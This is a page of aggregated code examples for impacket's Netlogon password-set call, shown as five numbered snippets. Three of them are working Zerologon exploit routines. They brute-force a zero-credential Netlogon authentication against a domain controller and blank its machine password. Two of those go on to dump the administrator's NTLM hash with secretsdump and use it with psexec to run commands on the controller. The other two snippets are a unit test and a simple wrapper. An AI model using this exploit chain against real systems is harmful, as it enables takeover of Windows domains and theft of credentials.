Beispiel #1
0
def perform_attack(dc_handle, dc_ip, target_computer):
    ciphertext = b'\x00' * 8
    # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
    print('Performing authentication attempts...')
    rpc_con = None
    for attempt in range(0, MAX_ATTEMPTS):
        rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)

        if rpc_con == None:
            print('=', end='', flush=True)
        else:
            break

    if rpc_con:
        print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
        print('\nSTAGE 2:')
        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator['Credential'] = ciphertext
        authenticator['Timestamp'] = 0
        newpass = nrpc.NL_TRUST_PASSWORD()
        newpass['Buffer'] = b'\x00' * 512
        newpass['Length'] = 0
        test = nrpc.hNetrServerPasswordSet2(
            rpc_con, dc_handle + '\x00', target_computer + '$\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', authenticator, newpass)
        print(
            'Should have worked. Run secretsdump.py -just-dc-ntlm "domain.tld/DCHOSTNAME\$@DC-IP", and hit that enter button'
        )
    else:
        print('\nAttack failed. Target is probably patched.')
        sys.exit(1)
Beispiel #2
0
    def test_hNetrServerPasswordSet2(self):
        # It doesn't do much, should throw STATUS_ACCESS_DENIED
        dce, rpctransport = self.connect()
        self.authenticate(dce)
        cnp = nrpc.NL_TRUST_PASSWORD()
        cnp['Buffer'] = b'\x00' * 512
        cnp['Length'] = 0x8

        try:
            nrpc.hNetrServerPasswordSet2(
                dce, self.serverName, self.machine_user,
                nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
                self.machine_user, self.update_authenticator(), cnp.getData())
        except DCERPCException as e:
            # The caller is not a DC or PDC
            if str(e).find('STATUS_ACCESS_DENIED') < 0:
                raise
Beispiel #3
0
def perform_attack(dc_handle, dc_ip, target_computer, target_da="Administrator"):
  # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
  print('Performing authentication attempts...')
  rpc_con = None
  for attempt in range(0, MAX_ATTEMPTS):
    rpc_con, serverChallenge = try_zero_authenticate(dc_handle, dc_ip, target_computer)


    if rpc_con == None:
        print('=', end='', flush=True)
    else:
        break
  if rpc_con:
    print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
    plaintext = b'\x00' * 8
    sessionKey = nrpc.ComputeSessionKeyStrongKey('', plaintext, serverChallenge, None)
    ppp = nrpc.ComputeNetlogonCredential(plaintext, sessionKey)
    clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)
    CLP = nrpc.NL_TRUST_PASSWORD()
    CLP['Buffer'] = b'\x00' * 512
    CLP['Length'] = '\x00\x00\x00\x00'
    blah = nrpc.hNetrServerPasswordSet2(
        rpc_con, dc_handle + '\x00',
        target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
        target_computer + '\x00',
        update_authenticator(clientStoredCredential, sessionKey, 0), b'\x00' * 516
    )
    blah.dump()
    import secretsdump, psexec
    class SDOptions:
        def __init__(self):
            self.use_vss = False
            self.target_ip = dc_ip
            self.outputfile = './dumped.tmp'
            self.hashes = "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"
            self.exec_method = "smbexec"
            self.just_dc = True
            self.just_dc_ntlm = True
            self.just_dc_user = target_da
            self.pwd_last_set = self.user_status = self.resumefile = \
            self.k = self.history = self.ntds = self.sam = self.security = \
            self.system = self.aesKey = self.bootkey = None
            self.dc_ip = dc_ip
    class PSOptions:
        def __init__(self):
            self.help = False
    dump = secretsdump.DumpSecrets(dc_ip, target_computer+'$', '', '', SDOptions()).dump()
    f= open("dumped.tmp.ntds").read()
#    print(f)
    hashes = ':'.join(f.split(':')[2:-3])
    print(hashes)
    psexec = psexec.PSEXEC('powershell.exe -c Reset-ComputerMachinePassword', None, None, None, hashes=hashes, username=target_da, serviceName='f****d')
    psexec.run(dc_name, dc_ip)
  else:
    print('\nAttack failed. Target is probably patched.')
    sys.exit(1)
Beispiel #4
0
 def serverPasswordSet(self):
     try:
         return nrpc.hNetrServerPasswordSet2(
             self.dce,
             self.primaryName,
             self.accountName,
             self.secureChannelType,
             self.computerName,
             self.authenticator,
             self.clearNewPasswordBlob
         )
     except BaseException as ex:
         self.logError(ex)
Beispiel #5
0
def perform_attack(options):
    # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
    print('Performing authentication attempts...')
    rpc_con = None
    conn = SMBConnection(options.target, options.target, None, options.port)
    conn.login('', '')
    dc_handle = f"\\\\{conn.getServerName()}"
    target_computer = conn.getServerName()
    dc_ip = options.target

    print(dc_ip)
    print(target_computer)
    for attempt in range(0, MAX_ATTEMPTS):
        rpc_con, serverChallenge = try_zero_authenticate(
            dc_handle, dc_ip, target_computer)
        if rpc_con == None:
            print('=', end='', flush=True)
        else:
            break
    if rpc_con:
        print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
        plaintext = b'\x00' * 8
        sessionKey = nrpc.ComputeSessionKeyStrongKey('', plaintext,
                                                     serverChallenge, None)
        ppp = nrpc.ComputeNetlogonCredential(plaintext, sessionKey)
        clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)
        print()
        blah = nrpc.hNetrServerPasswordSet2(
            rpc_con, dc_handle + '\x00', target_computer + '$\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00',
            update_authenticator(clientStoredCredential, sessionKey,
                                 0), b'\x00' * 516)
        blah.dump()
        #    stringbinding = epm.hept_map(options.target, lsat.MSRPC_UUID_LSAT, protocol="ncacn_ip_tcp")
        #    rpc_con = transport.DCERPCTransportFactory(stringbinding).get_dce_rpc()
        #    rpc_con.connect()
        #    rpc_con.bind(lsat.MSRPC_UUID_LSAT)
        #    resp = lsad.hLsarOpenPolicy2(rpc_con, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
        #    sid = lsad.hLsarQueryInformationPolicy2(rpc_con, resp['PolicyHandle'], lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)['PolicyInformation']['PolicyPrimaryDomainInfo']['Sid'].formatCanonical()
        #    print(sid)
        if options.silver:
            exit()
        import secretsdump, psexec

        class SDOptions:
            def __init__(self):
                self.use_vss = False
                self.target_ip = dc_ip
                self.outputfile = './dumped.tmp'
                self.hashes = "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"
                self.exec_method = "smbexec"
                self.just_dc = True
                self.just_dc_ntlm = True
                self.just_dc_user = options.target_da
                self.pwd_last_set = self.user_status = self.resumefile = \
                self.k = self.history = self.ntds = self.sam = self.security = \
                self.system = self.aesKey = self.bootkey = None
                self.dc_ip = dc_ip

        class PSOptions:
            def __init__(self):
                self.help = Falses


#    h = SMBConnection(options.target, options.target, None, options.port)
#    if options.target_machine:
#        h.login(options.target_machine + "$", '')
#    else:
#        h.login(target_computer + '$', '')

        secretsdump.DumpSecrets(dc_ip, target_computer + '$', '', '',
                                SDOptions()).dump()

        f = open("dumped.tmp.ntds").read()
        #    print(f)
        hashes = ':'.join(f.split(':')[2:-3])
        print(hashes)
        psexec = psexec.PSEXEC(
            'powershell.exe -c Reset-ComputerMachinePassword',
            None,
            None,
            None,
            hashes=hashes,
            username=options.target_da,
            serviceName='f****d')
        psexec.run(options.target, dc_ip)
    else:
        print('\nAttack failed. Target is probably patched.')
        sys.exit(1)